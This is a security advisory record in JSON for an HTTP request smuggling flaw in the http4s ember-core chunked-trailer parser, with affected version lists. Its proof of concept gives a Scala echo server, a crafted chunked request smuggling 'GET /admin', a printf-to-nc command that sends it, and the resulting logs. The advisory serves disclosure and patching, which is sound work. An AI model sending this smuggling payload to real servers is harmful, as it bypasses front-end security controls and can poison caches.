{"id":"GHSA-wcwh-7gfw-5wrr","summary":"Http4s vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section","details":"### Summary\nhttp4s is vulnerable to HTTP Request Smuggling due to improper handling of HTTP trailer section.\nThis vulnerability could enable attackers to:\n- Bypass front-end servers security controls\n- Launch targeted attacks against active users\n- Poison web caches\n\nPre-requisites for the exploitation: the web appication has to be deployed behind a reverse-proxy that forwards trailer headers.\n\n### Details\nThe HTTP chunked message parser, after parsing the last body chunk, calls `parseTrailers` (`ember-core/shared/src/main/scala/org/http4s/ember/core/ChunkedEncoding.scala#L122-142`).\nThis method parses the trailer section using `Parser.parse`, where the issue originates.\n\n`parse` has a bug that allows to terminate the parsing before finding the double CRLF condition: when it finds an header line that **does not include the colon character**, it continues parsing with `state=false` looking for the header name till reaching the condition `else if (current == lf && (idx \u003e 0 && message(idx - 1) == cr))` that sets `complete=true` even if no `\\r\\n\\r\\n` is  found.\n```scala\nif (current == colon) {\n  state = true // set state to check for header value\n  name = new String(message, start, idx - start) // extract name string\n  start = idx + 1 // advance past colon for next start\n\n  // TODO: This if clause may not be necessary since the header value parser trims\n  if (message.size \u003e idx + 1 && message(idx + 1) == space) {\n    start += 1 // if colon is followed by space advance again\n    idx += 1 // double advance index here to skip the space\n  }\n  // double CRLF condition - Termination of headers\n} else if (current == lf && (idx \u003e 0 && message(idx - 1) == cr)) { // \u003c----- not a double CRLF check\n  complete = true // completed terminate loop\n}\n```\nThe remainder left in the buffer is then parsed as another request leading to HTTP Request Smuggling.\n\n### PoC\n\nStart a simple webserver that echoes the received requests:\n```scala\nimport cats.effect._\nimport cats.implicits._\nimport org.http4s._\nimport org.http4s.dsl.io._\nimport org.http4s.ember.server.EmberServerBuilder\nimport org.http4s.server.Router\nimport org.http4s.server.middleware.RequestLogger\nimport org.typelevel.log4cats.LoggerFactory\nimport org.typelevel.log4cats.slf4j.Slf4jFactory\nimport com.comcast.ip4s._\n\nobject ExploitServer extends IOApp {\n\n  implicit val loggerFactory: LoggerFactory[IO] = Slf4jFactory.create[IO]\n\n  val echoService: HttpRoutes[IO] = HttpRoutes.of[IO] {\n    case req @ _ =\u003e\n      for {\n        bodyStr \u003c- req.bodyText.compile.string\n        method = req.method.name\n        uri = req.uri.toString()\n        version = req.httpVersion.toString\n        headers = req.headers.headers.map { header =\u003e\n          s\"${header.name.toString.toLowerCase}: ${header.value}\"\n        }.mkString(\"\\n\")\n        \n        responseText = s\"\"\"$method $uri $version\n$headers\n\n$bodyStr\n\n\"\"\"\n        result \u003c- Ok(responseText)\n      } yield result\n  }\n\n  val httpApp = RequestLogger.httpApp(logHeaders = true, logBody = true)(\n    Router(\"/\" -\u003e echoService).orNotFound\n  )\n\n  override def run(args: List[String]): IO[ExitCode] = {\n    EmberServerBuilder\n      .default[IO]\n      .withHost(ipv4\"0.0.0.0\")\n      .withPort(port\"8080\")\n      .withHttpApp(httpApp)\n      .build\n      .use { server =\u003e\n        IO.println(s\"Server started at http://0.0.0.0:8080\") \u003e\u003e IO.never\n      }\n      .as(ExitCode.Success)\n  }\n}\n```\n\n`build.sbt`\n```\nThisBuild / scalaVersion := \"2.13.15\"\n\nval http4sVersion = \"0.23.30\"\n\nlazy val root = (project in file(\".\"))\n  .settings(\n    name := \"http4s-echo-server\",\n    libraryDependencies ++= Seq(\n      \"org.http4s\" %% \"http4s-ember-server\" % http4sVersion,\n      \"org.http4s\" %% \"http4s-dsl\" % http4sVersion,\n      \"org.http4s\" %% \"http4s-circe\" % http4sVersion,\n      \"ch.qos.logback\" % \"logback-classic\" % \"1.4.11\",\n      \"org.typelevel\" %% \"log4cats-slf4j\" % \"2.6.0\",\n    )\n  )\n```\n\nSend the following request:\n```http\nPOST / HTTP/1.1\nHost: localhost\nTransfer-Encoding: chunked\n\n2\naa\n0\nTest: smuggling\na\nGET /admin HTTP/1.1\nHost: localhost\n\n```\n\nYou can do that with the following command:\n`printf 'POST / HTTP/1.1\\r\\nHost: localhost\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n2\\r\\naa\\r\\n0\\r\\nTest: smuggling\\r\\na\\r\\nGET /admin HTTP/1.1\\r\\nHost: localhost\\r\\n\\r\\n' | nc localhost 8080`\n\nYou will see that the request is interpreted as two separate requests\n```\n16:18:02.015 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 POST / Headers(Host: localhost, Transfer-Encoding: chunked) body=\"aa\"\n16:18:02.027 [io-compute-19] INFO org.http4s.server.middleware.RequestLogger -- HTTP/1.1 GET /admin Headers(Host: localhost)\n```","aliases":["CVE-2025-59822"],"modified":"2025-10-13T15:45:42.428092Z","published":"2025-09-23T17:37:23Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2025-09-23T17:37:23Z","nvd_published_at":"2025-09-23T19:15:42Z","cwe_ids":["CWE-444"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/http4s/http4s/security/advisories/GHSA-wcwh-7gfw-5wrr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-59822"},{"type":"WEB","url":"https://github.com/http4s/http4s/commit/dd518f7c967e5165813b8d4a48a82b8fab852d41"},{"type":"PACKAGE","url":"https://github.com/http4s/http4s"}],"affected":[{"package":{"name":"org.http4s:http4s-ember-core_2.12","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-ember-core_2.12"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.31"}]}],"versions":["0.10.0-M10","0.21.0","0.21.0-M2","0.21.0-M3","0.21.0-M4","0.21.0-M5","0.21.0-M6","0.21.0-RC1","0.21.0-RC2","0.21.0-RC3","0.21.0-RC4","0.21.0-RC5","0.21.1","0.21.11","0.21.12","0.21.13","0.21.14","0.21.15","0.21.16","0.21.17","0.21.18","0.21.19","0.21.2","0.21.20","0.21.21","0.21.22","0.21.23","0.21.24","0.21.25","0.21.26","0.21.27","0.21.28","0.21.29","0.21.3","0.21.30","0.21.31","0.21.32","0.21.33","0.21.34","0.21.4","0.21.5","0.21.6","0.21.7","0.21.8","0.21.9","0.22-129-24d065b","0.22-143-49b5a8d","0.22-53-01128f5","0.22-96-55d3184","0.22.0","0.22.0-M1","0.22.0-M2","0.22.0-M3","0.22.0-M4","0.22.0-M5","0.22.0-M6","0.22.0-M7","0.22.0-M8","0.22.0-RC1","0.22.1","0.22.10","0.22.11","0.22.12","0.22.13","0.22.14","0.22.15","0.22.2","0.22.3","0.22.4","0.22.5","0.22.6","0.22.7","0.22.8","0.22.9","0.23.0","0.23.0-M1","0.23.0-RC1","0.23.1","0.23.10","0.23.11","0.23.12","0.23.13","0.23.14","0.23.15","0.23.16","0.23.17","0.23.18","0.23.19","0.23.19-RC1","0.23.19-RC2","0.23.19-RC3","0.23.2","0.23.20","0.23.21","0.23.22","0.23.23","0.23.24","0.23.25","0.23.26","0.23.27","0.23.28","0.23.29","0.23.3","0.23.30","0.23.4","0.23.5","0.23.6","0.23.7","0.23.8","0.23.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-wcwh-7gfw-5wrr/GHSA-wcwh-7gfw-5wrr.json"}},{"package":{"name":"org.http4s:http4s-ember-core_2.13","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-ember-core_2.13"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.31"}]}],"versions":["0.10.0-M10","0.21.0","0.21.0-M2","0.21.0-M3","0.21.0-M4","0.21.0-M5","0.21.0-M6","0.21.0-RC1","0.21.0-RC2","0.21.0-RC3","0.21.0-RC4","0.21.0-RC5","0.21.1","0.21.11","0.21.12","0.21.13","0.21.14","0.21.15","0.21.16","0.21.17","0.21.18","0.21.19","0.21.2","0.21.20","0.21.21","0.21.22","0.21.23","0.21.24","0.21.25","0.21.26","0.21.27","0.21.28","0.21.29","0.21.3","0.21.30","0.21.31","0.21.32","0.21.33","0.21.34","0.21.4","0.21.5","0.21.6","0.21.7","0.21.8","0.21.9","0.22-129-24d065b","0.22-143-49b5a8d","0.22-53-01128f5","0.22-96-55d3184","0.22.0","0.22.0-M1","0.22.0-M2","0.22.0-M3","0.22.0-M4","0.22.0-M5","0.22.0-M6","0.22.0-M7","0.22.0-M8","0.22.0-RC1","0.22.1","0.22.10","0.22.11","0.22.12","0.22.13","0.22.14","0.22.15","0.22.2","0.22.3","0.22.4","0.22.5","0.22.6","0.22.7","0.22.8","0.22.9","0.23.0","0.23.0-M1","0.23.0-RC1","0.23.1","0.23.10","0.23.11","0.23.12","0.23.13","0.23.14","0.23.15","0.23.16","0.23.17","0.23.18","0.23.19","0.23.19-RC1","0.23.19-RC2","0.23.19-RC3","0.23.2","0.23.20","0.23.21","0.23.22","0.23.23","0.23.24","0.23.25","0.23.26","0.23.27","0.23.28","0.23.29","0.23.3","0.23.30","0.23.4","0.23.5","0.23.6","0.23.7","0.23.8","0.23.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-wcwh-7gfw-5wrr/GHSA-wcwh-7gfw-5wrr.json"}},{"package":{"name":"org.http4s:http4s-ember-core_3","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-ember-core_3"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.23.31"}]}],"versions":["0.22.0","0.22.0-M8","0.22.0-RC1","0.22.1","0.22.10","0.22.11","0.22.12","0.22.13","0.22.14","0.22.15","0.22.2","0.22.3","0.22.4","0.22.5","0.22.6","0.22.7","0.22.8","0.22.9","0.23.0","0.23.0-M1","0.23.0-RC1","0.23.1","0.23.10","0.23.11","0.23.12","0.23.13","0.23.14","0.23.15","0.23.16","0.23.17","0.23.18","0.23.19","0.23.19-RC1","0.23.19-RC2","0.23.19-RC3","0.23.2","0.23.20","0.23.21","0.23.22","0.23.23","0.23.24","0.23.25","0.23.26","0.23.27","0.23.28","0.23.29","0.23.3","0.23.30","0.23.4","0.23.5","0.23.6","0.23.7","0.23.8","0.23.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-wcwh-7gfw-5wrr/GHSA-wcwh-7gfw-5wrr.json"}},{"package":{"name":"org.http4s:http4s-ember-core_2.13","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-ember-core_2.13"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0-M1"},{"fixed":"1.0.0-M45"}]}],"versions":["1.0.0-M10","1.0.0-M11","1.0.0-M13","1.0.0-M14","1.0.0-M15","1.0.0-M16","1.0.0-M17","1.0.0-M18","1.0.0-M19","1.0.0-M2","1.0.0-M20","1.0.0-M21","1.0.0-M22","1.0.0-M23","1.0.0-M24","1.0.0-M25","1.0.0-M27","1.0.0-M28","1.0.0-M29","1.0.0-M3","1.0.0-M30","1.0.0-M31","1.0.0-M32","1.0.0-M33","1.0.0-M34","1.0.0-M35","1.0.0-M36","1.0.0-M37","1.0.0-M38","1.0.0-M39","1.0.0-M4","1.0.0-M40","1.0.0-M41","1.0.0-M42","1.0.0-M43","1.0.0-M44","1.0.0-M5","1.0.0-M6","1.0.0-M7","1.0.0-M8","1.0.0-M9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-wcwh-7gfw-5wrr/GHSA-wcwh-7gfw-5wrr.json"}},{"package":{"name":"org.http4s:http4s-ember-core_3","ecosystem":"Maven","purl":"pkg:maven/org.http4s/http4s-ember-core_3"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"1.0.0-M1"},{"fixed":"1.0.0-M45"}]}],"versions":["1.0.0-M22","1.0.0-M23","1.0.0-M24","1.0.0-M25","1.0.0-M27","1.0.0-M28","1.0.0-M29","1.0.0-M30","1.0.0-M31","1.0.0-M32","1.0.0-M33","1.0.0-M34","1.0.0-M35","1.0.0-M36","1.0.0-M37","1.0.0-M38","1.0.0-M39","1.0.0-M40","1.0.0-M41","1.0.0-M42","1.0.0-M43","1.0.0-M44"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-wcwh-7gfw-5wrr/GHSA-wcwh-7gfw-5wrr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}]}